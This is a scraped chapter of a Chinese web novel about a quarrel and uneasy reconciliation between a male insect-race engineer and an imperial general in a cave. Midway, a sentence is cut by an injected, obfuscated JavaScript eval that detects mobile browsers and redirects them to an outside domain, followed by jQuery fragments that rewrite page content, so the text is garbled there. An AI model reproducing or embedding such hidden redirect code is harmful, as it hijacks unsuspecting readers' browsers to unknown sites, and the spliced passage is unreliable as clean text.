默认冷灰
24号文字
方正启体

4. chapter 4刺伤

作者:橘子山洲本书字数:K更新时间:
    翡泊斯停顿了一下,不顾维森黑下去的脸色,继续冰冷说道:“最好也不要想着以这个要挟我。”


    这时候的翡泊斯没有了之前沉醉于欲河的美艳,没有勾着他说“做”的魅惑,没有舒服享受的慵懒,只有无尽的冰冷,和想和他撇清关系的冰冷。


    听到翡泊斯的话,维森脸上不受控制地浮现出生气的情绪。


    白皙的脸没有了一贯矜贵的淡然,反而因为愤怒染上了红色,这倒意外显得他更美貌而鲜活。


    翡泊斯看着,一怔,心里好像被猫爪轻轻挠了一下,有些痒。


    “你怎么能这样!”维森努力地控制自己,却还是失败爆发。


    转眼之间,“体贴伴侣”这一角色被翡泊斯亲手打破,维森像是要把翡泊斯嚼进了嘴里,像用力地咬着他,咬牙切齿,带着浓厚的愤怒腔调。


    他攥紧了手,似曾相识的愤怒淹没了他,连指甲扎进肉中都没有感觉。


    这种愤怒,和他知道自己被离异的父母双双嫌弃时的愤怒格外相似。


    被丢下,被遗弃。


    他第一次这么生气。


    这是第一次,他那么想和一个人组一个家。


    第一次。


    看见他的第一眼,就想和他组一个家,像无药可救的毒药,像最危险的诅咒和诱惑。


    为什么就不要他了?是他哪里做的不好吗?


    维森有些喘不过气来。


    旧日梦境重演,压得他喘不过气来。


    明明,明明他就要有老婆,就要有家了。


    为什么?


    为什么一觉醒来就翻脸不认人了?


    为什么?


    为什么他一觉醒来家又没了?


    维森后知后觉地感到他除了愤怒,还有委屈和难过。


    “我就是这样的。”翡泊斯回过神来,皮笑肉不笑地扯了扯唇,有种嘲讽的意味。


    他以为他和那些雄虫不一样。


    原来果真是一样的,想着上过他一次,毁了他的清白,就可以以此要挟他,让他献上自己和财富,让他屈于身下当雌侍。


    而一被他揭穿内心肮脏的想法,一被他拒绝,就翻脸生气。


    翡泊斯这样想着不免嘲笑自己,他一开始居然天真的认为这雄虫不一样,能有什么不一样呢?


    雄虫都是那样的,他不过是多了一份美貌和一具好身体罢了。


    什么时候,他也会被肤浅的表皮迷惑了?


    翡泊斯为自己刚刚愚蠢的想法摇了摇头。


    他盯着维森,以为维森会像他拒绝过的那些雄虫一样彻彻底底被愤怒燃烧,会歇斯底里地怒吼,会指着他的鼻子谩骂。


    他连要摆出什么表情,说出什么刺伤对方的话语都想好了。


    但翡泊斯等了好一会,发现这只雄虫只是紧紧盯着他,什么话都没有说。


    甚至连刚刚愤怒的红晕也消散了。


    维森眼也不眨地望着翡泊斯,紧紧盯着他充满冷漠的眼和没有丝毫动容的神情,心不断地下坠,眼球都泛起了酸涩感。


    明明身上还隐隐约约萦绕着昨天让他沉沦的橘子味,明明脸那么漂亮,说出得话却这么伤人。


    仍维森怎么寻找,都没有在那让他一见钟情的脸上看见一丝一毫的言不由衷。


    维森呆愣地眨了眨眼,太久没有眨眼的酸涩,带出了几滴生理性的泪水。


    他颓然地低下头去,周身的气息沉了下去,像掉入了黑暗无底的洞穴。


    好像又变成了幼年记忆中独自被放在“家”的无助小孩。


    无法抵抗,自得接受。


    哭了?


    翡泊斯皱了皱眉,像是满不在乎地撇过头去。


    脑子却不可控制地快速转了起来。


    怎么就哭了?


    因为被他拒绝?


    但他那么艳丽的摸样,恐怕一堆雌虫上赶着给他当雌侍甚至雌奴吧?


    翡泊斯的眼忍不住落到下方乌黑发顶上。


    乌发浓密而蓬松,宛如墨玉般深邃而富有光泽。


    昨天胡闹间被他不小心抓了抓,醒来后头发的主人也没有将其理顺,导致其间有几缕头发不安分地翘起,像是被微风吹乱却没有被好好打理的黑色羽毛。


    他手痒了痒。


    还是怕他把他丢在这里?


    也是,这么脆弱珍贵又美貌的雄虫,必是像他同胞的雄虫兄弟,一出生就众星捧月,第一次来到这么偏僻肮脏的山洞吧?


    肯定是吓坏了。


    翡泊斯叹了口气,看来他对自己的定位并不准确。


    现在,他承认,他是个肤浅的虫,偶尔也会肤浅的被漂亮的表壳迷惑。


    当然,也可能是那该死的信息素控制了他。


    众所周知,深入的安抚,会让雌虫忍不住地想靠近并眷恋安抚他的雄虫。


    现在,他好似就在这种情况之中。


    果然很麻烦。


    翡泊斯皱了皱眉,低了低头,收了些许刚刚冰冷的模样,尽量轻声对低头蹲在那不知道想什么的维森道:“别担心,雄虫阁下,翡泊斯·格西里安以格西里安家族的声誉和帝国上将的位置担保,我会平安送您回去。”


    维森却漠然地擦了擦流出的泪,掀了掀眼皮,连头也没有抬,好像没有听见他的话一样。


    “不需要。”


    冷冷的声音好像自雪山流下的泉水冲洗着昂贵的玉石,像声音的主人一样矜贵清冷又透着傲气。


    眨眼间,两人反转,维森又变回了在机械界久闻盛名的冷漠天才,像坐上高椅的神明,不为任何人低头。


    刚刚的温柔、讨好、耐心、依赖,像见到了阳光的彩色泡泡,马上消散却让人惊艳。


    雄虫冷淡不纠缠,翡泊斯感觉自己应该感到轻松才对,但现在他舔了舔虎牙,莫名地感到烦躁。


    啧,果然刚刚的温柔小意都是骗人的。


    这样最好,他只需要按他的职责把这位雄虫阁下完好地送回去就好。


    翡泊斯抵了抵牙齿,背对着维森坐下。


    一时间,洞穴里安静的可怕。


    翡泊斯第一次感觉到了有些不知如何是好的烦躁,连平时什么都不在乎的漫不经心的表面都维持不住。


    他那群手下应该不久就能找到他了。他当时给他的副官留下了他的山洞位置,并告诉他三天后过来接他。


    那群混小子看见雄虫岂不得疯?


    想到这,翡泊斯的情绪就好像毛巾一样,被人拧了又拧,格外地不舒服。


    但反应过来又忍不住唾骂自己。


    又不是没见过容貌较好的雄子,都是一样的,内里都是一样的腐烂。


    他那位雄父不就也生得一副好皮囊吗?


    雄虫这种生物对他来说,就像


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411853|184625||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    家中专门开辟的温室里养殖的帝国玫瑰一样,昂贵,美丽,麻烦,不可触碰。


    *


    这里的天气变化总是格外得快。


    维森坐在洞口通风处,吹来的冷风让他打了个颤。


    下一秒,肩上就多了一件厚实的,带着橙子味的披风,还带着原来主人未散的余温,一下子周身都暖和了起来。


    维森咬了咬下唇,愤怒难过甚至是恨等各种情绪充斥着他的心。


    他情绪一向寡淡,第一次在这么短的时间内对一个人,不,一只虫,产生了这么多样且复杂的情绪。


    和他们一样......拒绝他,伤害他,打破他对家的幻想,却转头又像什么都没发生过一样假模假样地来关心他。


    心中的气无法宣泄,维森握紧了手,连指甲扎进了手心渗出血珠来都没发现。


    他不要喜欢这个人了,和他讨厌的那两个人一样。


    维森面无表情地起身,将肩上的披风丢回了翡泊斯的怀中。


    温暖格外让人留念,何况没有披风之后,冷风一吹,就像被人在肩背上倒了一盆冰。


    维森狠狠吸了口气,整个人抱着腿蜷缩在山洞一角,头埋在手臂里,不去看翡泊斯。


    他有些将睡未睡的困倦,在将要进入梦乡时却又被冷风拉住,清醒。


    这个过程不断反复,让人痛苦。


    过了一会,维森突然感觉冷风停住了。


    维森抬头,看见那人结结实实地坐在了风口,以有些别扭的方式,挡住了所有冲他而来的风,肩上披肩别着的徽章在黑暗中闪着耀眼的光。


    维森张了张嘴,却什么都没有说,默默把头移开。


    一会却又不自觉把头转了回来。


    可能是这个山洞实在辽阔孤独,可能是昨天的橘子味实在是美味的让人留念,总之不管是因为什么,他现在有点想看着那个人。


    翡泊斯感到了背后的视线,也没有开口,只是不自觉将腰挺直了一些。


    一时间,山洞安静下来。


    但比起刚刚的阵针锋相对,却多了些岁月安好的温和惬意。


    这个角度,维森可以看见那人好身材。


    即使坐在破败狼藉的山洞中,他的坐姿也极为笔直。


    虽是放松状态,训练到位的肌肉仍如拉满的弓弦,把衣服撑得极为好看,勾勒出标准又手感极好的宽肩窄腰。


    被他刚刚梳理得极其柔顺的白发不像它冰冷翻脸的主人,乖巧地披在背后,山洞外的光一照,显得格外耀眼。


    像把将要出鞘的利剑。


    忽而,维森的目光被他披风上的徽章所吸引。


    徽章以银色为底色,徽章上的图案却有些奇怪。


    坚硬的盾牌,双长剑交叉抵于盾前,两边的图案却像......虫群的翅膀?


    怎么会有军徽是这样的?


    维森皱了皱眉,这才后知后觉察觉到众多违和之处。


    之前他一直沉浸在又失去“家”的恍惚里,没有心思去听他在讲什么,现在突然反应过来,他叫他“雄虫阁下”,他叫“翡泊斯·格西里安”,是“帝国上将”。


    每个名词都超出他能理解的范围之外。


    “雄虫......翡泊斯......格西里安......”维森轻声低喃,想了又想,终于在记忆的某个角落挖出与之相关的回忆。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)